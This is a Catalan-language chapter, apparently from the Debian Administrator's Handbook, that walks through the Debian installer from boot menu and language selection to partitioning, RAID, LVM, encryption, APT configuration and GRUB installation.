El gestor d'arrencada és un programa de baix nivell que és responsable d'arrencar el nucli Linux just després que la BIOS li cedeixi el control. Per gestionar aquesta tasca, ha de ser capaç de localitzar al disc el nucli Linux per arrencar. En les arquitectures i386 i amd64, els dos programes més utilitzats per dur a terme aquesta tasca són LILO, el més antic dels dos, i GRUB, el seu reemplaçament modern. Isolinux i Syslinux són alternatives utilitzades freqüentment per arrencar des de suports extraïbles.

Cada entrada de menú amaga una línia d'ordres d'arrencada específica, que es pot configurar com calgui prement la tecla TAB abans de validar l'entrada i engegar. L'entrada de menú «Ajuda» mostra l'antiga interfície de línia d'ordres, on les tecles F1 fins F10 mostren diferents pantalles d'ajuda que detallen les diferents opcions disponibles. Necessitareu utilitzar aquesta opció només en casos molt específics.

El mode «expert» (accessible al menú «Opcions avançades») detalla totes les opcions possibles en el procés d'instal·lació, i permet la navegació entre els diferents passos sense que es facin automàticament en seqüència. Aneu amb compte, aquest mode és molt detallat pot ser confús a causa de la multitud d'opcions de configuració que ofereix.

El mode de “rescat”, també accessible des del menú “Opcions avançades”, permet recuperar un sistema trencat o arreglar el carregador d'arrencada. Després de presentar les primeres pantalles de l'instal·lador, permetrà accedir a un intèrpret d'ordres en el sistema de fitxers que heu seleccionat per a realitzar qualsevol acció necessària, o permetre tornar a instal·lar el carregador d'arrencada.

→ https://www.debian.org/releases/stable/amd64/ch08s06.en.html

Figura 4.1. Pantalla d'arrencada

Un cop iniciat, el programa d'instal·lació us guia pas a pas durant el procés. Aquesta secció presenta cadascun d'aquests passos en detall. Aquí seguim el procés d'una instal·lació des d'un DVD-ROM amd64 (més específicament, la versió RC3 de l'instal·lador per a Bullseye); les instal·lacions netinst, així com la versió final de l'instal·lador, pot ser lleugerament diferents. També abordarem la instal·lació en mode gràfic, però l'única diferència de la instal·lació «clàssica» (en mode de text) és en l'aparença visual.

4.2.2. Selecció de l'idioma

El programa d'instal·lació comença en anglès, però el primer pas permet a l'usuari triar l'idioma que s'utilitzarà en la resta del procés. Triar el francès, per exemple, proporcionarà una instal·lació totalment traduïda al francès (i un sistema configurat en francès com a resultat). Aquesta elecció també s'utilitza per definir opcions per defecte més rellevants en etapes posteriors (sobretot la disposició de teclat).

TORNAR A LES BASESNavegació amb el teclat

Alguns passos en el procés d'instal·lació requereixen que introduïu informació. Aquestes pantalles tenen diverses àrees que poden "tenir el focus" (àrees d'entrada de text, caselles de selecció, llistes d'opcions, botons D'acord i Cancel·la), i la tecla TAB permet moure's d'una a una altra.

En mode gràfic, podeu utilitzar el ratolí com ho faríeu normalment en un escriptori gràfic ja instal·lat.

Figura 4.2. Selecció de l'idioma

4.2.3. Selecció del país

El segon pas consisteix a triar el país. Combinada amb l'idioma, aquesta informació permet al programa oferir la disposició de teclat més apropiada. Això també influirà en la configuració de la zona horària. Als Estats Units es suggereix un teclat estàndard, i s'ofereix una selecció de zones horàries apropiades.

Figura 4.3. Selecció del país

4.2.4. Selecció de la disposició del teclat

El teclat “anglès americà” proposat correspon a la disposicióQWERTY habitual.

Figura 4.4. Selecció de teclat

4.2.5. Detectant el maquinari

Aquest pas és totalment automàtic en la gran majoria dels casos. L'instal·lador detecta el maquinari i intenta identificar la unitat de CD-ROM utilitzada per accedir al seu contingut. Carrega els mòduls corresponents als diferents components de maquinari detectats, i després "munta" el CD-ROM per llegir-lo. Els passos anteriors estaven completament continguts en la imatge d'arrencada inclosa en el CD, un fitxer de mida limitada i carregat a la memòria per la BIOS en arrencar des del CD.

L'instal·lador pot treballar amb la gran majoria de les unitats, especialment els perifèrics ATAPI estàndards (de vegades anomenats IDE o EIDE). No obstant això, si la detecció del lector de CD-ROM falla, l'instal·lador ofereix l'opció de carregar un mòdul del nucli (per exemple, des d'un llapis USB) corresponent al controlador de CD-ROM.

4.2.6. Carregant components

Amb el contingut del CD ara disponible, l'instal·lador carrega tots els fitxers necessaris per continuar amb la tasca. Això inclou controladors addicionals per al maquinari restant (especialment la targeta de xarxa), així com tots els components del programa d'instal·lació.

4.2.7. Detectant el maquinari de xarxa

Aquest pas automàtic intenta identificar la targeta de xarxa i carregar el mòdul corresponent. Si falla la detecció automàtica podeu seleccionar manualment el mòdul a carregar. Si cap mòdul funciona, és possible carregar un mòdul específic des d'un dispositiu extraïble. Aquesta darrera solució sol ser necessària només si el controlador apropiat no està inclòs en el nucli estàndard de Linux, però disponible en altres llocs, com ara el lloc web del fabricant o en arxius/paquets de «firmware».

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

Aquest pas ha de tenir absolutament èxit per a les instal·lacions netinst, ja que els paquets de Debian s'han de carregar des de la xarxa.

4.2.8. Configurar la xarxa

Per tal d'automatitzar el procés tant com sigui possible, l'instal·lador intenta una configuració de xarxa automàtica mitjançant DHCP (per IPv4) i mitjançant el descobriment de xarxa IPv6. Si això falla, ofereix més opcions: torna-ho a provar amb una configuració normal de DHCP, intentar la configuració amb DHCP declarant el nom de la màquina, o configurarla xarxa de manera estàtica.

Aquesta última opció requereix una adreça IP, una màscara de subxarxa, una adreça IP per a una passarel·la potencial, un nom de màquina i un nom de domini.

SUGGERIMENT Configuració sense DHCP

Si la xarxa local disposa de servidor DHCP que no voleu utilitzar, perquè potser preferiu definir una adreça IP estàtica per a la màquina durant la instal·lació, podeu afegir l'opció netcfg/use_dhcp=false en arrencar des del mitjà d'instal·lació. Només heu d'anar a l'entrada de menú desitjada prement la tecla TAB i afegir l'opció desitjada abans de prémer la tecla Enter.

COMPTE No improviseu

Moltes xarxes d'àrea local es basen en una suposició implícita que totes les màquines són de confiança, i la configuració inadequada d'un sol ordinador sovint pertorba tota la xarxa. Com a resultat, no connecteu la màquina a una xarxa sense acordar primer amb l'administrador de xarxa els paràmetres adequats (per exemple, l'adreça IP, la màscara de xarxa i l'adreça de difusió o «broadcast»).

4.2.9. Contrasenya de l'administrador

El compte de superusuari «root», reservat per a l'administrador de la màquina, es crea automàticament durant la instal·lació; per a això es demana una contrasenya. L'instal·lador també demana una confirmació de la contrasenya per evitar qualsevol error d'entrada que més tard seria difícil de corregir. Tingueu en compte que podeu deixar tots dos camps buits si voleu que el compte de «root» estigui desactivat. En aquest cas, l'entrada al sistema de l'usuari root serà desactivada i el primer usuari normal, que serà creat per l'instal·lador en el següent pas, tindrà drets administratius a través de la comanda sudo (veieu Secció 8.9.4, «Compartir els permisos d'administrador»).

SEGURITATContrasenya de l'administrador

La contrasenya de l'usuari primari hauria de ser llarga (12 caràcters o més) i impossible d'endevinar. De fet, qualsevol ordinador (i a fortiori qualsevol servidor) connectat a Internet és objectiu regular d'intents automatitzats de connexió amb les contrasenyes més òbvies. De vegades fins i tot pot estar subjecte a atacs de diccionari, en els quals moltes combinacions de paraules i nombres es proven com a contrasenya. Eviteu utilitzar els noms dels fills o pares, dates de naixement, etc. : Molts dels companys potser els coneixen, i rarament els voldreu donar accés lliure a l'ordinador en qüestió.

Aquestes observacions són igualment aplicables a altres contrasenyes d'usuari, però les conseqüències d'un compte compromès són menys dràstiques per als usuaris sense drets administratius.

Si fes falta inspiració, no dubteu a utilitzar generadors de contrasenyes, com pwgen (al paquet del mateix nom).

Figura 4.5. Contrasenya de l'administrador

4.2.10. Creant el primer usuari

Debian també imposa la creació d'un compte d'usuari estàndard de manera que l'administrador no tingui el mal costum de treballar com a «root». Aquest principi de cautela significa essencialment que cada tasca es dugui a terme amb els drets mínims requerits, per a limitar els danys causats per l'error humà. Per això l'instal·lador demanarà el nom complet d'aquest primer usuari, el seu nom d'usuari, i la seva contrasenya (dos cops, per evitar el risc d'entrada errònia).

Figura 4.6. Nom del primer usuari

4.2.11. Configurar el rellotge

Si la xarxa està accessible, el rellotge intern del sistema s'actualitza (només una vegada) des d'un servidor NTP. D'aquesta manera les marques de temps dels registres seran correctes des de la primera arrencada. Per tal que continuïn sent consistents amb el temps, s'ha de configurar un dimoni NTP després de la instal·lació inicial (vegeu Secció 8.9.2, «Sincronització del temps»).

4.2.12. Detectant discos i altres dispositius

Aquest pas detecta automàticament els discos durs en els quals es pot instal·lar Debian. Es presentaran en el següent pas: el particionat.

4.2.13. Inici de l'eina de particionat

CULTURA Usos del particionat

El particionat, un pas indispensable en la instal·lació, consisteix a dividir l'espai disponible en els discos durs (cada subdivisió d'aquests s'anomena una "partició") segons les dades que s'hi emmagatzemaran en ell i l'ús per al qual l'ordinador està destinat. Aquest pas també inclou la tria dels sistemes de fitxers a utilitzar. Totes aquestes decisions influiran en el rendiment, la seguretat de les dades i l'administració del servidor.

El pas del particionat és tradicionalment difícil per als nous usuaris. És necessari definir les diverses parts dels discos (o «particions» en què s'emmagatzemaran els sistemes de fitxers Linux i la memòria virtual («swap»). Aquesta tasca és complicada si un altre sistema operatiu que voleu mantenir ja està a la màquina. De fet, haureu d'assegurar-vos que no altereu les seves particions (o que les canvieu de mida però sense causar danys).

Afortunadament, el programari de partició té un mode "guiat" que recomana a l'usuari les particions a fer — en la majoria dels casos podeu simplement validar els suggeriments del programa.

Figura 4.7. Tria del mode de particionat

La primera pantalla de l'eina de particionat ofereix l'opció d'utilitzar un disc dur sencer per crear diverses particions. Per a un ordinador (nou) que només utilitzarà Linux, aquesta opció és clarament la més simple, i podeu triar l'opció “Guiat - utilitza tot el disc”. Si l'ordinador té dos discos durs per a dos sistemes operatius, establir una unitat per a cada un és també una solució que pot facilitar el particionat. En aquests dos casos, la següent pantalla permet triar el disc on s'instal·larà el Linux seleccionant l'entrada corresponent (per exemple, “SCSI1 (0,0,0) (sda) - 53.7 GBA QEMU HARDDISK). Tot seguit comenceu la partició guiada.

Figura 4.8. Disc a utilitzar per a la partició guiada

La partició guiada també pot configurar volums lògics LVM en lloc de particions (mireu més avall). Atès que la resta de l'operació és el mateix, no explicarem l'opció «Guiat - utilitza tot el disc i configura LVM» (encriptat o no).

En altres casos, quan Linux ha de treballar juntament amb altres particions ja existents, cal triar el particionat manual.

4.2.13.1. Particionat guiat

L'eina de partició guiada ofereix tres mètodes de particionat, que corresponen a usos diferents.

Figura 4.9. Particionat guiat

El primer mètode s'anomena «Tots els fitxers en una partició». Tot l'arbre del sistema de Linux s'emmagatzema en un sistema de fitxers únic, corresponent al directori arrel /. Aquestparticionat simple i robust encaixa perfectament per als sistemes personals o d'un sol usuari. De fet, es crearan dues particions: la primera albergarà el sistema complet, i la segona la memòria virtual («swap»).

El segon mètode, "Partició /home separada", és similar, però divideix la jerarquia de fitxers en dos: una partició conté el sistema Linux (/), i la segona conté els "directoris «home»" (és a dir, les dades d'usuari, en fitxers i subdirectoris disponibles sota /home/).

L'últim mètode de particionat, anomenat "Particions /home, /var, i /tmp separades", és apropiat per a servidors i sistemes multiusuari. Divideix l'arbre de fitxers en moltes particions: a més de les particions arrel (/) i la dels comptes d'usuari (/home/), també crea particions per a dades de programari de servidor (/var/), i per als fitxers temporals (/tmp/). Aquestes divisions tenen diversos avantatges. Els usuaris no poden bloquejar el servidor consumint tot l'espai disponible del disc dur (només poden omplir /tmp/ i /home/). Les dades dels dimonis («daemon» en anglès), especialment els registres, ja no es poden colapsar la resta del sistema.

TORNAR A LES BASES Triar un sistema de fitxers

Un sistema de fitxers defineix la forma en què s'organitzen les dades en el disc dur. Cada sistema de fitxers existent té els seus mèrits i limitacions. Alguns són més robustos, d'altres més efectius: si coneixeu les vostres necessitats bé, triar el sistema de fitxers més apropiat és possible. Ja s'han fet diverses comparatives; sembla que ReiserFS és particularment eficient per llegir molts fitxers petits; XFS, al seu torn, treballa més ràpid amb fitxers grans. Ext4, el sistema de fitxers per defecte per a Debian, és un bon compromís, basat en les tres versions anteriors dels sistemes de fitxers utilitzats històricament en Linux (ext, ext2 i ext3). Ext4 supera certes limitacions de ext3 i és particularment apropiat per a discs durs de gran capacitat. Una altra opció seria experimentar amb el molt prometedor btrfs, que inclou nombroses característiques que requereixen, fins avui, l'ús d'LVM i/o RAID.

Un sistema de fitxers amb registre («journal» en anglès) (com són ext3, ext4, btrfs, reiserfs, o xfs) pren mesures especials per fer possible el tornar a un estat de consistència previ degut a una interrupció abrupta sense caler analitzar completament el disc sencer (com era el cas amb ext2). Aquesta funcionalitat es duu a terme omplint un registre que descriu les operacions a realitzar abans d'executar-les. Si s'interromp una operació, serà possible "reproduir-la" a partir del registre. Per contra, si es produeix una interrupció durant l'actualització del registre, l'últim canvi sol·licitat simplement s'ignora; les dades que s'escriuen es podrien perdre, però com que les dades del disc no han canviat, es mantenen coherents. Això no és ni més ni menys que un mecanisme transaccional aplicat al sistema de fitxers.

Després de triar el tipus de les particions, el programari calcula un suggeriment, i el descriu a la pantalla; l'usuari pot modificar-lo si cal. En particular podeu triar un altre sistema de fitxers si l'opció estàndard (ext4) no és apropiada. En la majoria dels casos, però, el particionat proposat és raonable i es pot acceptar seleccionant l'entrada «Finalitza el particionat i escriu els canvis al disc».

Figura 4.10. Validació del particionat

4.2.13.2. Particionat manual

El particionat manual ofereix una major flexibilitat, permetent a l'usuari triar el propòsit i la mida de cada partició. A més, aquest mode és imprescindible si voleu utilitzar RAID via programari.

A LA PRÀCTICA Encongint una partició de Windows

Per instal·lar Debian juntament amb un sistema operatiu existent (Windows o altres), heu de tenir algun espai disponible de disc dur que no estigui sent utilitzat per l'altre sistema per tal de poder crear les particions dedicades a Debian. En la majoria dels casos, això significa encongir una partició de Windows i reutilitzar l'espai alliberat.

L'instal·lador de Debian permet aquesta operació quan s'utilitza el mode manual per fer particions. Només heu de triar la partició de Windows i introduir la seva nova mida (això funciona igual amb particions sense xifrar FAT i NTFS).

Si Windows està utilitzant particions xifrades amb BitLocker, els passos per canviar-ne la mida requereixen utilitzar BitLocker Management juntament amb l'eina de gestió de discos de Windows.

La primera pantalla mostra els discos disponibles, les seves particions i qualsevol espai lliure existent que encara no s'hagi particionat. Podeu seleccionar cada element que es mostra; prement la tecla Enter es mostrarà una llista de possibles accions.

Podeu esborrar totes les particions d'un disc en seleccionar-lo.

Quan seleccioneu espai lliure en un disc, podeu crear-hi manualment una partició nova. També podeu fer-ho amb la partició guiada, que és una solució interessant per a un disc que ja conté un altre sistema operatiu, però que podeu voler dividir per a Linux d'una manera estàndard. Vegeu Secció 4.2.13.1, «Particionat guiat» per a més detalls sobre el particionat guiat.

Figura 4.11. Creació/modificació d'una partició

TORNAR A LES BASES Punt de muntatge

El punt de muntatge és l'arbre de directoris que allotjarà el contingut del sistema de fitxers a la partició seleccionada. Per tant, una partició muntada a /home/ tradicionalment està destinada a contenir dades d'usuari.

Quan aquest directori s'anomena “/”, se'l coneix com a arrel («root» en anglès) de l'arbre de fitxers i, per tant, l'arrel de la partició que allotjarà el sistema Debian.

TORNAR A LES BASES Memòria virtual, «swap»

La memòria virtual permet al nucli de Linux, quan no hi ha prou memòria (RAM), alliberar una mica de memòria emmagatzemant les parts de la RAM que han estat inactives durant algun temps a la partició d'intercanvi («swap») del disc dur. També és fonamental per a les capacitats d'un sistema per a “suspendre's” o “hibernar”.

Per simular la memòria addicional, Windows utilitza un fitxer d'intercanvi que està directament contingut en un sistema de fitxers. Per contra, Linux utilitza una partició dedicada, d'aquí el terme “partició de «swap» o d'intercanvi”. No obstant això, també és possible usar un fitxer d'intercanvi.

Quan es tria una partició, es pot indicar com s'utilitzarà:

formatejar-la i incloure-la a l'arbre de fitxers triant un punt de muntatge;

usar-la com a partició d'intercanvi;

convertir-la en un "volum físic per a xifratge" (per protegir la confidencialitat de les dades en certes particions, vegeu més avall);

convertir-la en un “volum físic per a LVM” (aquest concepte es discutirà detalladament més endavant en aquest capítol);

usar-la com a dispositiu RAID (vegeu més endavant en aquest capítol);

també podeu optar per no utilitzar-la i, per tant, deixar-la igual.

4.2.13.3. Configuració de dispositius multidisc (RAID via programari)

Alguns tipus de RAID permeten la duplicació de la informació desada en discos durs per prevenir la pèrdua de dades en cas d'un problema de hardware d'un d'ells. El RAID de nivell 1 manté una còpia simple idèntica («mirror» o mirall) d'un disc dur en un altre disc, mentre que el RAID de nivell 5 o 6 reparteix dades redundants en diversos discos, permetent així la reconstrucció completa d'un disc que falli.

Només descriurem el RAID de nivell 1, que és el més senzill d'implementar. El primer pas inclou crear dues particions de la mateixa mida en dos discos durs diferents, i etiquetar-les com a “volum físic per a RAID”.

Després heu de triar «Configura el RAID via programari» a l'eina de particionat per combinar aquestes dues particions en un nou disc virtual i seleccionar «Crea un dispositiu MD» a la pantalla de configuració. Llavors heu de respondre una sèrie de preguntes sobre aquest nou dispositiu. La primera pregunta es refereix al nivell de RAID a utilitzar, que en el nostre cas serà "RAID1". La segona pregunta es refereix al nombre de dispositius actius — dos en el nostre cas, que és el nombre de particions que cal incloure en aquest dispositiu MD. La tercera pregunta fa referència al nombre de dispositius de recanvi — 0; no hem planejat tenir cap disc addicional per fer-se càrrec d'un possible disc defectuós. La darrera pregunta requereix que escolliu les particions per al dispositiu RAID — aquestes serien les dues que hem deixat a banda per a aquest propòsit (assegureu-vos que només seleccioneu les particions que esmentin explícitament «raid»).

Tornant al menú principal, apareix un nou disc virtual "RAID". Aquest disc es presenta amb una sola partició que no es pot eliminar, però la podem triar per a utilitzar (com qualsevol altra partició).

Per a més detalls sobre les funcions RAID, consulteu Secció 12.1.1, «RAID per software».

4.2.13.4. Configuració el gestor de volums lògics (LVM)

LVM us permet crear particions "virtuals" que s'escampen per diversos discs. Els beneficis són dobles: la mida de les particions ja no està limitada pels discs individuals sinó pel seu volum acumulatiu, i podeu canviar la mida de les particions existents en qualsevol moment, possiblement després d'afegir un disc addicional quan sigui necessari.

LVM utilitza una terminologia particular: una partició virtual és un "volum lògic", que forma part d'un "grup de volums", o una associació de diversos "volums físics". Cada un d'aquests termes correspon a una partició "real" (o un dispositiu de RAID via programari).

Aquesta tècnica funciona d'una manera molt senzilla: cada volum, ja sigui físic o lògic, es divideix en blocs de la mateixa mida, que es fan per correspondre per LVM. L'addició d'un disc nou causarà la creació d'un nou volum físic, i aquests blocs nous es poden associar a qualsevol grup de volums. Totes les particions del grup de volums que així s'expandeixen tindran espai addicional en el qual es poden estendre.

L'eina de particionat configura LVM en diversos passes. Primer heu de crear en els discs existents les particions que seran «volums físics per a LVM». Per activar LVM, heu d'escollir “Configureu el gestor de volums lògics (LVM)”, llavors a la mateixa pantalla de configuració “Crear un grup de volums”, al qual associareu els volums físics existents. Finalment, podeu crear volums lògics dins d'aquest grup de volums. Tingueu en compte que el sistema de particions automàtic pot realitzar tots aquests passos automàticament.

En el menú de particionat cada volum físic apareixerà com un disc amb una sola partició que no es pot eliminar, però que podeu utilitzar com vulgueu.

L'ús de LVM es descriu amb més detall a Secció 12.1.2, «LVM».

4.2.13.5. Configuració de particions encriptades

Per garantir la confidencialitat de les vostres dades, per exemple en cas de pèrdua o robatori del vostre ordinador o un disc dur, és possible encriptar les dades en algunes particions. Aquesta característica es pot afegir sota qualsevol sistema de fitxers, ja que, pel que fa a LVM, Linux (i més particularment el controlador dm-crypt) utilitza el mapejador de dispositius («Device Mapper») per crear una partició virtual (el contingut de la qual està protegit) basada en una partició subjacent que emmagatzemarà les dades en un format encriptat (gràcies a LUKS, configuració unificada de claus en Linux o en anglès «Linux Unified Key Setup», un format estàndard que permet l'emmagatzematge de dades encriptades així com meta-informació que indica els algorismes d'encriptació utilitzats).

SEGURETAT Partició d'intercanvi encriptada

Quan s'utilitza una partició xifrada, la clau de xifrat s'emmagatzema en memòria (RAM). Atès que recuperar aquesta clau permet el desxifratge de les dades, és de summa importància evitar deixar una còpia d'aquesta clau que sigui accessible al possible lladre de l'ordinador o disc dur, o a un tècnic de manteniment. Això és, tanmateix, quelcom que pot ocórrer fàcilment amb un ordinador portàtil, ja que quan hiberna el contingut de RAM s'emmagatzema a la partició d'intercanvi. Si aquesta partició no està encriptada, el lladre pot accedir a la clau i utilitzar-la per desencriptar les dades de les particions xifrades. Per això, quan utilitzeu particions encriptades, és imperatiu també encriptar la partició d'intercanvi!

L'instal·lador de Debian avisarà a l'usuari si s'intenta fer una partició encriptada però la partició d'intercanvi no està encriptada.

Per crear una partició encriptada, primer heu d'assignar una partició disponible per a aquest propòsit. Per fer-ho, selecciona una partició i indica que s'utilitzarà com a "volum físic per a l'encriptatge". Després de particionar el disc que contindrà el volum físic, trieu «Configura els volums encriptats». El programari llavors proposarà inicialitzar el volum físic amb dades aleatòries (fent que la localització de les dades reals sigui més difícil), i us demanarà que introduïu una “frase d'encriptació”, que haureu d'introduir cada vegada que arrenqueu l'ordinador per tal d'accedir al contingut de la partició encriptada. Un cop aquest pas s'ha completat, i heu tornat al menú d'eines de partició de particions, estarà disponible una nova partició en un "volum encriptat", que després podreu configurar com qualsevol altra partició. En la majoria dels casos, aquesta partició s'utilitza com a volum físic per a LVM per protegir diverses particions (volums lògics LVM) amb la mateixa clau d'encriptatge, inclosa la partició d'intercanvi (vegeu la barra lateral SEGURETAT Partició d'intercanvi encriptada).

4.2.14. Instal·lació del sistema base

Aquest pas, que no requereix cap interacció de l'usuari, instal·la els paquets del “sistema base” Debian. Això inclou les eines dpkg i apt, que gestionen els paquets de Debian, així com les utilitats necessàries per arrencar el sistema i començar a utilitzar-lo.

Figura 4.12. Instal·lació del sistema base

4.2.15. Configuració del gestor de paquets (apt)

Per tal de poder instal·lar programari addicional, cal configurar l'APT i dir-li on trobar paquets de Debian. Aquest pas és el més automatitzat possible.

NOTA CD-ROM de Debian a la unitat

Si l'instal·lador detecta un disc d'instal·lació de Debian al lector de CD/DVD, no és necessari configurar APT per anar a buscar paquets a la xarxa: APT està configurat automàticament per llegir paquets d'una unitat de mitjans extraïbles. Si el disc és part d'un conjunt, el programari oferirà “explorar” altres discos per tal de poder accedir a tots els paquets emmagatzemats en ells.

Si es demana obtenir paquets via xarxa, l'instal·lador permet triar un servidor des del qual descarregar aquests paquets, seleccionant primer un país, i tot seguit un “mirall” («mirror» en anglès) disponible en aquest país. Un mirall és un servidor públic que allotja còpies de tots els fitxers de l'arxiu principal de Debian.

Figura 4.13. Selecció d'un mirall de Debian

Finalment, el programa proposa utilitzar un servidor intermediari HTTP. Si no hi ha cap servidor intermediari, l'accés a Internet serà directe. Si escriviu http://proxy.falcot.com:3128, APT utilitzarà el proxy/cache de Falcot, un servidor “Squid”. Podeu trobar aquests paràmetres comprovant les configuracions d'un navegador web en un altre ordinador connectat a la mateixa xarxa.

Els fitxers Packages.xz i Sources.xz es baixen automàticament per actualitzar la llista de paquets reconeguts per APT.

TORNAR A LES BASES intermediari («proxy») HTTP

Un servidor intermediari HTTP és un servidor que redirigeix sol·licituds HTTP per als usuaris de la xarxa. De vegades ajuda a accelerar les baixades mantenint una còpia dels fitxers que s'han transferit a través d'ell (llavors en direm “intermediari/cau” o «proxy/cache»). En alguns casos, és l'únic mitjà d'accedir a un servidor web extern; en aquests casos és essencial respondre a la pregunta corresponent durant la instal·lació perquè el programa pugui descarregar els paquets de Debian a través d'ell.

Squid és el nom del programari de servidor utilitzat per Falcot Corp per oferir aquest servei.

4.2.16. Concurs de popularitat de paquets Debian

El sistema Debian conté un paquet anomenat popularity-contest, el propòsit del qual és recopilar estadístiques sobre l'ús dels paquets. Cada setmana, aquest programa recull informació sobre els paquets instal·lats i els utilitzats recentment, i envia anònimament aquesta informació als servidors de projecte Debian. El projecte pot utilitzar aquesta informació per determinar la importància relativa de cada paquet, que influeix en la prioritat que se'ls assignarà. En particular, els paquets més “populars” s'inclouran en el CD-ROM d'instal·lació, que facilitarà el seu accés als usuaris que no vulguin descarregar-los o comprar tot un conjunt complet.

Aquest paquet només s'activa si així es demana, per respecte a la confidencialitat d'ús dels usuaris.

4.2.17. Selecció de paquets para instal·lació

El pas següent us permet escollir el propòsit de la màquina en termes generals; les dotze tasques suggerides corresponen amb llistes de paquets per instal·lar. La llista dels paquets que realment s'instal·laran s'ajustarà i es completarà més endavant, però això proporciona un bon punt de partida d'una manera senzilla.

Aquest pas pot requerir un conjunt complet de medis d'instal·lació, o una connexió a internet i una configuració funcional d'un mirall com s'ha descrit anteriorment.

Alguns paquets també s'instal·len automàticament d'acord amb el maquinari detectat (gràcies al programa discover-pkginstall que hi ha al paquet discover).

Figura 4.14. Opcions de tasques

4.2.18. Instal·lant el gestor d'arrencada GRUB

El gestor d'arrencada és el primer programa iniciat per la BIOS. Aquest programa carrega el nucli Linux en memòria i després l'executa. Sovint ofereix un menú que permet a l'usuari triar el nucli per carregar i/o el sistema operatiu per arrencar.

COMPTE Carregador d'arrencada i arrencada dual

Aquesta fase del procés d'instal·lació de Debian detecta els sistemes operatius que ja estan instal·lats a l'ordinador, i afegeix automàticament les entrades corresponents al menú d'arrencada, però no tots els programes d'instal·lació ho fan.

En particular, si instal·leu (o reinstal·leu) Windows a partir de llavors, el carregador d'arrencada serà esborrat. Debian encara estarà al disc dur, però ja no serà accessible des del menú d'arrencada (excepte per a Windows 10, on encara serà accessible a través de la consola de recuperació de Windows). Llavors haureu d'arrencar el sistema d'instal·lació de Debian en el mode de rescat per configurar un carregador d'arrencada menys exclusiu. Aquesta operació es descriu detalladament en el manual d'instal·lació.

→ https://www.debian.org/releases/stable/amd64/ch08s06

Per defecte, el menú proposat per GRUB conté tots els nuclis Linux instal·lats, així com qualsevol altre sistema operatiu que s'hagi detectat. Per això hauríeu d'acceptar l'oferta d'instal·lar-lo al registre mestre d'arrencada («Master Boot Record»). Atès que mantenir versions antigues del nucli conserva la capacitat d'arrencar el mateix sistema si el nucli instal·lat més recentment és defectuós o està mal adaptat al maquinari, sovint té sentit mantenir instal·lades algunes versions antigues del nucli.

GRUB és el gestor d'arrencada per defecte instal·lat per Debian gràcies a la seva superioritat tècnica: funciona amb la majoria de sistemes de fitxers i per tant no requereix una actualització després de cada instal·lació d'un nou nucli, ja que llegeix la seva configuració durant l'arrencada i troba la posició exacta del nou nucli. La versió 1 del GRUB (ara conegut com a «Grub Legacy») no podia gestionar totes les combinacions de LVM i programari via RAID; la versió 2, instal·lada per defecte, és més completa. Tot i que encara pot haver-hi situacions on és preferible instal·lar LILO (un altre gestor d'arrencada); l'instal·lador Debian ja no dóna suport a la instal·lació.

Val la pena assenyalar que el GRUB no és un gestor d'arrencada únic, sinó més aviat una col·lecció de carregadors d'arrencada adequats per a casos diferents. Els nombrosos paquets binaris construïts a partir del paquet de codi font de GRUB reflecteixen que: grub-efi-amd64 és per a l'arrencada de PC de 64 bits en mode UEFI, grub-pc és per a l'arrencada de 32 bits en mode UEFI, grub-pc és per a l'arrencada de PC en mode BIOS, grub-uboot per a ordinadors ARM, etc.

Per a més informació sobre com configurar el GRUB, consulteu Secció 8.8.2, «Configuració de GRUB 2».

CULTURA Arrencada segura i el gestor d'arrencada «shim»

L'arrencada segura («Secure Boot») és una tecnologia que garanteix que només executeu programari validat pel vostre proveïdor del sistema operatiu. Per aconseguir-ho, cada element de les seqüències d'arrencada valida el següent component de programari que executarà. Al nivell més profund, el microprogramari UEFI incorpora claus criptogràfiques proporcionades per Microsoft per comprovar la signatura del gestor d'arrencada, assegurant que sigui segur d'executar. Atès que obtenir un binari signat per Microsoft és un procés llarg, Debian va decidir no signar directament el GRUB. En canvi, utilitza un gestor d'arrencada intermedi anomenat «shim», que gairebé mai no necessita canviar-se, i l'únic rol del qual és comprovar la signatura de Debian en GRUB i executar GRUB. Per executar Debian en una màquina que té Secure Boot habilitat, el paquet shim-signed ha d'estar instal·lat.

Al capdavall de la pila, el GRUB farà una comprovació similar amb el nucli, i llavors el nucli també pot comprovar les signatures dels mòduls que es carreguen. El nucli també podria prohibir algunes operacions que poguessin alterar la integritat del sistema.

Debian 10 (Buster) fou la primera versió en suportar Secure Boot. Abans, calia desactivar aquesta característica en la pantalla de configuració del sistema oferta per la BIOS o la UEFI.

4.2.19. Finalitzant la instal·lació i reiniciant

La instal·lació ja està completa, el programa us convida a treure el CD-ROM del lector i a reiniciar l'ordinador.

Figura 4.15. Instal·lació completa

4.3. Després de la primera arrencada

Si vàreu activar la tasca «entorn d'escriptori Debian» sense cap elecció explícita d'escriptori (o amb l'opció «GNOME») l'ordinador mostrarà el gestor d'inici de sessió gdm3.

Figura 4.16. Primera arrencada

L'usuari que ja ha estat creat pot iniciar sessió i començar a treballar immediatament.

4.3.1. Instal·lant programari addicional

Els paquets instal·lats corresponen als perfils seleccionats durant la instal·lació, però no necessàriament a l'ús que es farà de la màquina. Com a tal, potser voldreu utilitzar una eina de gestió de paquets per refinar la selecció dels paquets instal·lats. Les dues eines més utilitzades (que s'instal·len si s'escull el perfil de l'entorn d'escriptori de Debian) són apt (accessible des de la línia d'ordres) i synaptic (“Synaptic Package Manager” en els menús).

Per facilitar la instal·lació de grups coherents de programes, Debian crea “tasques” que es dediquen a usos específics (servidor de correu, servidor d'arxius, etc.). Ja heu tingut l'oportunitat de seleccionar-les durant la instal·lació, i podeu accedir-hi de nou gràcies a les eines de gestió de paquets com aptitude (les tasques es llisten en una secció diferent) i synaptic (a través del menú Edit → Marcar paquets per tasca…).

Aptitude és una interfície per APT en mode de text de pantalla completa. Permet a l'usuari navegar per la llista de paquets disponibles d'acord amb diverses categories (paquets instal·lats o no instal·lats, per tasca, per secció, etc.), i per veure tota la informació disponible en cadascuna d'elles (dependències, conflictes, descripció, etc.). Cada paquet pot ser marcat “instal·lar” (per instal·lar-lo, tecla +) o “eliminar” (per desinstal·lar-lo, tecla -). Totes aquestes operacions es duran a terme simultàniament una vegada que les hàgiu confirmat prement la tecla g (“g” de l'anglès «go!»). Si heu oblidat alguns programes, no us preocupeu; podreu executar aptitude altre cop una vegada s'hagi completat la instal·lació inicial.

SUGGERIMENT Debian pensa en els que no parlen anglès

Diverses tasques estan dedicades a la localització del sistema a d'altres idiomes més enllà de l'anglès. Inclouen documentació traduïda, diccionaris i altres paquets útils per a parlants de diferents idiomes. La tasca apropiada se selecciona automàticament si s'ha triat un idioma diferent de l'anglès durant la instal·lació.
